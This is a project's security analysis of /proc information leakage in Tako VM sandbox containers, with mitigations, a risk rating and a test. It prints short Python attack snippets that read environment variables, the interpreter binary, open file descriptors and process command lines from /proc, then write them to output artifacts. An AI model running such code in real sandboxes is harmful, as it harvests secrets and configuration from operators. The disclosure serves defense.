Security Analysis: /proc Filesystem Exposure¶
Published: 2026-01-26 · Last reviewed: 2026-06-12 Severity: MEDIUM (information disclosure to code already running inside the sandbox) Reference: Equixly: The False Security of AI Containers
Status as of v0.1.4
This is a self-published analysis, not a CVE/GHSA. The behavior described applies to sandboxes running under the standard runc runtime. Primary mitigation, available today: run with gVisor (container_runtime: runsc + security_mode: strict), where /proc is a synthetic view served by the userspace kernel. Seccomp filtering is enabled by default since the analysis was written. AppArmor-based /proc path restrictions under runc remain on the roadmap.
Summary¶
Tako VM containers are vulnerable to information leakage through the /proc filesystem. While artifact download endpoints have strong path traversal protection, user code executing inside containers can read sensitive data from /proc and exfiltrate it via output artifacts.
Attack Vectors¶
1. Environment Variable Leakage via /proc/self/environ¶
Attack Code:
# User submits this as code to execute
import json
# Read all environment variables from /proc
with open('/proc/self/environ', 'rb') as f:
env_data = f.read()
# Parse null-byte separated key=value pairs
env_vars = {}
for entry in env_data.split(b'\x00'):
if b'=' in entry:
key, value = entry.split(b'=', 1)
env_vars[key.decode()] = value.decode()
# Exfiltrate via output artifact
with open('/output/stolen_env.json', 'w') as f:
json.dump(env_vars, f, indent=2)
print("Environment extracted successfully")
Information Exposed:
- Job type environment variables - avoid using these for secrets
- Custom job_type.environment variables - may contain API keys, secrets
- System environment (PATH, HOME, etc.)
2. Binary Extraction via /proc/self/exe¶
Attack Code:
import shutil
# Copy the Python interpreter binary
shutil.copy('/proc/self/exe', '/output/python_binary')
print("Binary extracted")
Risk: Enables reverse engineering of: - Python version and patches - Compiled extensions - Potential vulnerabilities in the runtime
3. File Descriptor Enumeration via /proc/self/fd/¶
Attack Code:
import os
import json
fds = {}
for fd_num in range(256):
fd_path = f'/proc/self/fd/{fd_num}'
try:
target = os.readlink(fd_path)
fds[fd_num] = target
except (FileNotFoundError, OSError):
pass
with open('/output/open_files.json', 'w') as f:
json.dump(fds, f, indent=2)
Risk: Reveals: - Open configuration files - Database connections - Unix sockets - Log files
4. Process Enumeration via /proc/[PID]/¶
Attack Code:
import os
import json
processes = {}
for pid in range(1, 100):
cmdline_path = f'/proc/{pid}/cmdline'
try:
with open(cmdline_path, 'rb') as f:
cmdline = f.read().replace(b'\x00', b' ').decode()
processes[pid] = cmdline
except (FileNotFoundError, PermissionError):
pass
with open('/output/processes.json', 'w') as f:
json.dump(processes, f, indent=2)
Risk: Reveals: - Running processes and command arguments - Container initialization details - Potential security tooling
Current Mitigations in Tako VM¶
What Works ✅¶
- Artifact Download Protection (app.py:1036-1042)
- Uses
is_relative_to()for robust path validation - Only allows downloads of manifest-listed artifacts
-
Prevents API-level path traversal
-
Container Hardening (worker.py:593-600)
- Read-only filesystem (except /output, /tmp)
- Capability dropping (
--cap-drop=ALL) - Network isolation by default
-
Privilege drop to non-root (uid 1000) via
gosuafter dependency install (no-new-privilegesis intentionally not set; see the hardening guide) -
Filename Validation (security.py:335-360)
- Blocks path separators in artifact names
- Prevents parent directory references
- Blocks hidden files
What's Missing ⚠️¶
- No /proc path restrictions under runc - Containers have full read access to their own
/proc(Docker masks some host paths like/proc/kcoreby default, but not/proc/self/environ) - Environment variables in plaintext - Sensitive config passed via env vars
- No LSM (AppArmor/SELinux) - No mandatory access controls
Recommended Mitigations¶
Priority 1: Run under gVisor (available today)¶
The gVisor runtime serves /proc from its userspace kernel rather than exposing the host kernel's procfs. This is the strongest available mitigation and is built in:
# tako_vm.yaml
container_runtime: runsc
security_mode: strict # fail rather than silently fall back to runc
What seccomp can and cannot do here
Seccomp (enabled by default) blocks dangerous syscalls (ptrace, process_vm_readv, module loading) but cannot distinguish open("/proc/self/environ") from open("/input/data.json"): both are the same syscall. Path-based /proc restrictions under runc require an LSM (AppArmor/SELinux), which is on the roadmap.
Priority 2: Avoid passing secrets via environment variables¶
Instead of passing sensitive data via env vars: 1. Use Docker secrets mounting (for production) 2. Write config to read-only files in /input 3. Use a secrets management service
Example - Replace this:
With this:
# Write to read-only config file instead
config_file = input_dir / "_config.json"
config_file.write_text(json.dumps({"secret_key": secret}))
cmd.append(f"--mount=type=bind,source={config_file},target=/config/secrets.json,readonly")
Priority 3: Know what user code can see¶
Security Notice: Under
runc, user code runs with read access to/proc, which exposes container metadata, environment variables, and process information. Do not pass sensitive secrets via environment variables. Use input files or external secret management instead, and for untrusted code, run under gVisor.
Impact Assessment¶
Likelihood: HIGH - Any user can submit code to read /proc Impact: MEDIUM - Leaks configuration but not host system access Overall Risk: MEDIUM
Affected Components: - All container executions - Job types with custom environment variables
Testing¶
Create a test to verify /proc exposure:
def test_proc_environ_exposure():
"""Verify that /proc/self/environ is accessible (known limitation)."""
code = """
import os
env = dict(os.environ)
with open('/output/result.json', 'w') as f:
import json
json.dump({"env_count": len(env)}, f)
"""
result = executor.execute_job({"code": code, "input_data": {}})
assert result["success"]
# This currently passes - demonstrating the vulnerability
assert result["output"]["env_count"] > 0
References¶
- Equixly: The False Security of AI Containers
- Docker Security: seccomp profiles
- Linux /proc filesystem
- OWASP: Container Security
Next Steps¶
- Mitigations - How to mitigate this vulnerability
- Hardening Guide - Production hardening